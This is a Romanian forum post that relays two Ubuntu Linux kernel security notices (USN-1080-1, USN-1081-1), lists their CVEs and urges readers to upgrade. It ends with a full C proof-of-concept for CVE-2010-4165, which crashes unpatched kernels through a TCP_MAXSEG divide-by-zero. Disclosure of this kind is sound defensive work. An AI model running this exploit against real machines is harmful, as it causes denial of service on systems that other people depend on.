[Ubuntu 10.04 LTS+10.10] Linux kernel vulnerabilities

Flubber · March 2, 2011

Deja s-a facut upgrade-ul la 2.6.32-29. Cine are Ubuntu, update && upgrade.

[uSN-1080-1] Linux kernel vulnerabilities (Ubuntu 10.04 LTS)


Details follow:

Thomas Pollet discovered that the RDS network protocol did not check
certain iovec buffers. A local attacker could exploit this to crash the
system or possibly execute arbitrary code as the root user. (CVE-2010-3865)

Vasiliy Kulikov discovered that the Linux kernel X.25 implementation did
not correctly clear kernel memory. A local attacker could exploit this to
read kernel stack memory, leading to a loss of privacy. (CVE-2010-3875)

Vasiliy Kulikov discovered that the Linux kernel sockets implementation did
not properly initialize certain structures. A local attacker could exploit
this to read kernel stack memory, leading to a loss of privacy.
(CVE-2010-3876)

Vasiliy Kulikov discovered that the TIPC interface did not correctly
initialize certain structures. A local attacker could exploit this to read
kernel stack memory, leading to a loss of privacy. (CVE-2010-3877)

Nelson Elhage discovered that the Linux kernel IPv4 implementation did not
properly audit certain bytecodes in netlink messages. A local attacker
could exploit this to cause the kernel to hang, leading to a denial of
service. (CVE-2010-3880)

It was discovered that multithreaded exec did not handle CPU timers
correctly. A local attacker could exploit this to crash the system, leading
to a denial of service. (CVE-2010-4248)

Krishna Gudipati discovered that the bfa adapter driver did not correctly
initialize certain structures. A local attacker could read files in /sys to
crash the system, leading to a denial of service. (CVE-2010-4343)

Tavis Ormandy discovered that the install_special_mapping function could
bypass the mmap_min_addr restriction. A local attacker could exploit this
to mmap 4096 bytes below the mmap_min_addr area, possibly improving the
chances of performing NULL pointer dereference attacks. (CVE-2010-4346)

It was discovered that the ICMP stack did not correctly handle certain
unreachable messages. If a remote attacker were able to acquire a socket
lock, they could send specially crafted traffic that would crash the
system, leading to a denial of service. (CVE-2010-4526)

Dan Rosenberg discovered that the OSS subsystem did not handle name
termination correctly. A local attacker could exploit this crash the system
or gain root privileges. (CVE-2010-4527)

Dan Carpenter discovered that the Infiniband driver did not correctly
handle certain requests. A local user could exploit this to crash the
system or potentially gain root privileges. (CVE-2010-4649, CVE-2011-1044)

[uSN-1081-1] Linux kernel vulnerabilities (Ubuntu 10.10)


ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you to recompile and
reinstall all third party kernel modules you might have installed. If
you use linux-restricted-modules, you have to update that package as
well to get modules which work with the new kernel version. Unless you
manually uninstalled the standard kernel metapackages (e.g. linux-generic,
linux-server, linux-powerpc), a standard system upgrade will automatically
perform this as well.

Details follow:

It was discovered that KVM did not correctly initialize certain CPU
registers. A local attacker could exploit this to crash the system, leading
to a denial of service. (CVE-2010-3698)

Thomas Pollet discovered that the RDS network protocol did not check
certain iovec buffers. A local attacker could exploit this to crash the
system or possibly execute arbitrary code as the root user. (CVE-2010-3865)

Vasiliy Kulikov discovered that the Linux kernel X.25 implementation did
not correctly clear kernel memory. A local attacker could exploit this to
read kernel stack memory, leading to a loss of privacy. (CVE-2010-3875)

Vasiliy Kulikov discovered that the Linux kernel sockets implementation did
not properly initialize certain structures. A local attacker could exploit
this to read kernel stack memory, leading to a loss of privacy.
(CVE-2010-3876)

Vasiliy Kulikov discovered that the TIPC interface did not correctly
initialize certain structures. A local attacker could exploit this to read
kernel stack memory, leading to a loss of privacy. (CVE-2010-3877)

Nelson Elhage discovered that the Linux kernel IPv4 implementation did not
properly audit certain bytecodes in netlink messages. A local attacker
could exploit this to cause the kernel to hang, leading to a denial of
service. (CVE-2010-3880)

Dan Rosenberg discovered that the ivtv V4L driver did not correctly
initialize certian structures. A local attacker could exploit this to read
kernel stack memory, leading to a loss of privacy. (CVE-2010-4079)

Dan Rosenberg discovered that the semctl syscall did not correctly clear
kernel memory. A local attacker could exploit this to read kernel stack
memory, leading to a loss of privacy. (CVE-2010-4083)

It was discovered that multithreaded exec did not handle CPU timers
correctly. A local attacker could exploit this to crash the system, leading
to a denial of service. (CVE-2010-4248)

Nelson Elhage discovered that Econet did not correctly handle AUN packets
over UDP. A local attacker could send specially crafted traffic to crash
the system, leading to a denial of service. (CVE-2010-4342)

Tavis Ormandy discovered that the install_special_mapping function could
bypass the mmap_min_addr restriction. A local attacker could exploit this
to mmap 4096 bytes below the mmap_min_addr area, possibly improving the
chances of performing NULL pointer dereference attacks. (CVE-2010-4346)

Dan Rosenberg discovered that the OSS subsystem did not handle name
termination correctly. A local attacker could exploit this crash the system
or gain root privileges. (CVE-2010-4527)

Dan Carpenter discovered that the Infiniband driver did not correctly
handle certain requests. A local user could exploit this to crash the
system or potentially gain root privileges. (CVE-2010-4649, CVE-2011-1044)

Cat despre Linux Kernel <= 2.6.37:


/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
 * =======================================================
 * A divide by 0 error occurs in tcp_select_initial_window
 * when processing user supplied TCP_MAXSEG facilitating a
 * local denial-of-service condition (kernel oops!) in all
 * Linux Kernel 2.6.x branch (2.6.37 & below). This issue 
 * can be triggered easily with a call to setsockopt() on 
 * a listening network socket and then establishing a TCP
 * connection to the awaiting socket. 
 * 
 * -- prdelka
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>


int main() {
    int optval, optlen, ret, sd, sd2, pid;
    char *host = "localhost";    
    struct sockaddr_in locAddr;
    struct sockaddr_in servAddr;
    struct sockaddr_in dstAddr;
    printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");    
    sd = socket(AF_INET, SOCK_STREAM, 0);
    memset(&servAddr,0,sizeof(servAddr));
    memset(&dstAddr,0,sizeof(dstAddr));
        servAddr.sin_family = AF_INET;
        servAddr.sin_port = htons(60000);
        servAddr.sin_addr.s_addr = INADDR_ANY;
    dstAddr.sin_family = AF_INET;
    inet_aton("127.0.0.1", &dstAddr.sin_addr);
    dstAddr.sin_port = htons(60000);
        if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
                printf("[ Cannot bind listener service\n");
                exit(-1);
        }
    listen(sd,4);
    optval = 12;
    ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
    if(ret==0)
    {
        printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
        int sin_size = sizeof(struct sockaddr_in);
        switch(pid = fork())
        {
            case 0:
                sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
                sleep(3);
            default:
                sd2 = socket(AF_INET, SOCK_STREAM, 0);
                connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
                sleep(3);
        }
    }
    printf("[ System is patched, no dreams for this prince\n");
    return 0;
}